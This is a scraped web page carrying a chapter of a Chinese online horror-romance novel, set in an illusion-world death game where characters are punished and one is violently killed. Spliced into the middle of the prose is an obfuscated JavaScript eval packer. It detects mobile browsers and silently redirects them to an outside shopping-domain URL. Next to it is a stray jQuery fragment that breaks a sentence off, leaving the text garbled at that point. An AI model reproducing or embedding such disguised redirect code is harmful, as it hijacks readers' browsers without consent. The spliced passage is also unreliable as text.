文趣网 > 其他小说 > 今天也有撩到小猫吗 > 11. 合谋
    两人相对无言,岁时吟勾了勾唇,审视着台阶下的温碎。

    温碎的裙子被风撩起,吹得呼呼作响,露出里面的白色裤腿,可他上半身依旧挺得笔直。

    岁时吟垂眼,见自己穿了很久的破外套全是洞。

    他刚刚居然有一种想法,怕柳姨娘着凉,想给对方披外套……

    这种想法真可怕,他不太明白自己为什么突然开始在乎这个“女人”,明明相处还不到一天。

    岁时吟低头合眼轻笑,他对此有些无可奈何,屋里的暖光从他后背穿过,从温碎的角度看去,能看到半张温柔的侧脸。

    “柳姨娘,你说我不如岁时吟好相处,后来我也放你们进来了,现在我应该算一个好相处的人了吧。”岁时吟的轻佻的少年音色在这混乱的幻境之中宛若一道无形的剑,将温碎内心所有杂乱尽数斩断。

    “那两个人已经死了,下一个,是你。”

    岁时吟背着光,眼睛埋在黑夜里,却好像泛着光,其间夹杂着一种温碎读不懂的复杂情绪,像是惋惜,又好像带着一点点心疼?可他的笑似乎又是释怀的爽……

    “我的死,会让你难过?”温碎问他。

    “这个问题,或许吧……”岁时吟眨着眼,沙哑的声音让最后几个字变成了一句话里的省略号,好像有话要说,却说不出口。

    远处晨光初上,灰云和着日头编织出红色霞光,整个幻境被打上了一抹血色,竟是再也分不清活人和死人……

    院墙边的草再次晃动,连带着屋檐下挂着的白色绣球和缎带。树静风止,岁时吟的背后出现了那个蓝衣女人。

    女人的面庞白得泛青,依旧抵挡不住她出水芙蓉的秀丽,她伸出藏在长袖的两截藕臂,缓缓将岁时吟圈在怀里,女人将头靠在岁时吟的左肩,那双空洞无神的眼还在直勾勾地盯着温碎看。

    岁时吟抬手抚上女人的左手腕,他乖乖将脸靠了上去,“阿姊,这是最后一个。”

    温碎这才发现,他为何从头到尾都没感受到这女鬼半分气息。

    岁时吟竟是将自己的魂魄生生扯掉半边,让女鬼与自己同住一个躯壳……

    更准确的说,是幻境里的NPC——白雪瑞……

    那女鬼点了点头,白唇轻启:“柳姜圆,口腹蜜剑,不如就,拔舌吧。”

    “好啊,可是天快亮了,劳烦阿姊先回去歇息吧,阿弟来代劳。”岁时吟温柔道。

    *

    又是一轮游戏结束,白老爷被票出局。

    衔羿笑嘻嘻地捋着票,似乎对这一轮的结果很是满意。

    棺材房里的气氛凝固到了极点,所有人都一脸焦急担忧地等待结果。

    这个白立风到底是不是那个杀人犯……

    温碎这局投了自己,见温碎一整局都没有再出言想改变局势的意思,小时吟和白雪霁也各自投了自己。

    白立风攥着袖口,一直盯着衔羿手里的票,终于衔羿的手指停了下来。

    “这局出局的玩家是——白立风,白老爷。”衔羿撇过头看白立风,“恭喜啊。”

    白立风心里紧绷的那根弦终于断掉了,眼底那团气若游丝的光也散去,取而代之的是一种凭借本能的疯癫。

    “我没杀过人,你们凭什么认定我是杀人犯!凭什么?!”白立风一把老骨头,却动作犀利地爬上了衔羿投影的所在的桌。

    衔羿的左手撑在洁白的桌布上,另一只手伸出食指竖在薄唇前,“嘘~呵呵——”

    温碎见情况不对,一把将身边的小时吟拉进怀里,捂住了对方的眼。

    白立风忽然瞳孔骤缩,他像是一只潦草的布娃娃,整个人浮在了半空中,四肢宛若麻花被扭曲,最后竟是硬生生被拧断,顿时血四溅……

    离他最近的林雅,整张脸被糊了血,她尖叫着用手试图抹去脸上的血,越抹越多,待血渍干涸,她原本白净的脸像是被抹上了一层番茄酱。

    白立风痛苦的哀嚎声瞬间回荡在整个棺材房里,突然,那凄惨的叫声戛然而止,再看过去,白立风骤然间连脖子都被拧断了。

    小时吟看不到到底发生了什么,可从声音也能听出不是什么好场面,温碎是在保护他。

    白雪霁看到这一幕,胃里一顿翻涌,他捂着嘴俯身,一阵吐,差点把隔夜饭吐出来。

    “啊哈哈哈哈。”衔羿捂着嘴疯狂大笑,等到自己笑得喘不上气才罢休,“好玩,真好玩。我就先恭喜各位了。”

    此话一出,不少人虽然对白立风的死心生忌惮,但对衔羿的话也松了口气。

    太好了,他们只用了一轮就找到了这该死的杀人犯,这是在为民除害啊,游戏要结束了,他们要平分这五百万了!

    林雅本就被吓得笑脸煞白,眼泪从两只眼眶里滑出,刚一抬头,便见与自己对坐的王胜强正目光猥琐地看着自己。

    她吓坏了,顿时想起来王胜强那张身份卡上的内容:混迹青楼的更夫,后被惊吓不举……

    这个“后”字很微妙……

    林雅心底霎时间生出一种及其恐怖的想法:这个王胜强该不会是个强j犯吧……

    王胜强吸了吸鼻子,问:“我有个问题,如果有人在这里出不去,那TA的钱是不是可以被别人带走。”

    衔羿点点头,“嗯呢,是的呀。”

    王胜强一听这话,肥肿的身体撑着桌子起身,厚舌顺着嘴舔了一整圈,按耐不住地看着林雅。

    “不过,第二轮游戏开始。”衔羿余光扫过脸色大变的王胜强,“你们依旧有半个小时的时间找出杀人犯,预祝各位游戏愉快~”

    说完,衔羿的投影消失不见,留王胜强一个人愣怔在原地。

    温碎自从看到了这些人的因果线,就再也没有想救下任何一个人的想法。

    从他们所有人落座后,地底下埋的幻境法术就被启动了,相当于所有人的意识都被连接在了这个空间,即便在这里被杀被捅,也不过真实的躯体会产生幻痛罢了。

    不会有任何一个人在现实里死亡。

    可他不理解衔羿这么大费周章的目的是什么,对这些人前世犯下的错施以惩戒?这也太小题大作

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714763|208502||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    他忽而想起被岁时吟称之为姐姐的女鬼——白雪初。

    一切都好像有迹可循了……

    *

    幻境。

    温碎再次醒来,处于看不见、说不出话的状态。

    他的双眼被不知什么东西蒙住,嘴巴也是,只能哼哼唧唧地发出几声响。

    连身体也被五花大绑,动弹不得。

    “小姨娘醒了?”岁时吟清朗的少年声音在他耳畔响起,“我知道你有很多疑问,但这些疑问的答案,其实小姨娘心底都应该有数。”

    岁时吟在暗示他,他是想说白夫人。

    “姨娘的脸,当真是倾城国色,就连我第一眼也看的回不过神。”岁时吟一只手挑起温碎的下巴,另一只手将温碎左眼上的布条往上拨弄了几分,“可我说的是再次见到你,这双眼睛好美。”

    岁时吟伸出拇指,抹掉了温碎嘴唇上的口脂,那道浅红落在了温碎的眼角,宛若春日灼灼桃花,妖而不艳。

    “这样好像是,被我弄哭了。”岁时吟凑在温碎耳畔低语。

    温碎闭上眼,不一会儿眼角滑下一滴泪。

    “好乖啊。”岁时吟轻轻将那滴眼泪抹去,布条又被捋了下来,遮住了温碎的眼,“要是有下辈子,别再做糟老头子的妾了,找个好人家嫁了吧。”

    温碎看不到岁时吟说这句话时是何等表情,可他能感觉到岁时吟在隐忍着什么。

    轻缓的脚步声越来越远,直到一声门响,四周又从回寂静。

    岁时吟手里拿着一张黄色符纸,他刚刚取的那滴眼泪还未干,被他抹在黄纸上,上面的红色符咒顺着他的手指往下晕染。

    他走进了大堂,里面的柴火堆早就熄灭了,那大娘被绑在一根柱子上,还晕着。

    岁时吟没理会她,从怀中拿出火折子,打开一吹,火苗亮了,他就着破碗把那张符纸点燃,符纸被烧成了灰。

    他拿起一旁的水壶,拔开盖子,将水倒进了碗里,水和着纸灰,散发出一股子呛人的烟味。

    大娘听到动静,缓缓睁眼,看到的便是大少爷端着一碗水笑眯眯地站在她眼前。

    “少,少爷,您这是要什么……”

    岁时吟没回答,或许是他也没办法回答这个问题,只是伸出手紧紧握着大娘的下巴,逼迫对方张开嘴,等大娘不再挣扎,岁时吟将这一碗水全灌了进去。

    大娘不住地吞咽,两只眼往上翻,眼白渗出血丝来,终于停了,大娘开始剧烈地咳嗽,差点把自己的肺咳出来。

    “这张符纸,是我当初废了好大劲儿才偷来的,听说能混淆鬼的视听。”岁时吟将碗摔在地上,平静道,“你会代替柳姜圆。”

    ……

    又是入夜,岁时吟坐在棺材前,瞧屋外墙头的草,他在等一阵风。

    终于,风来了。

    一股阴冷的寒气裹上了他的全身,他笑着开口:“阿姊……”

    有双素手抚上了他的脸,问:“柳姜圆,死了吗?”

    “阿姊交代的事情,阿弟都记在心里。”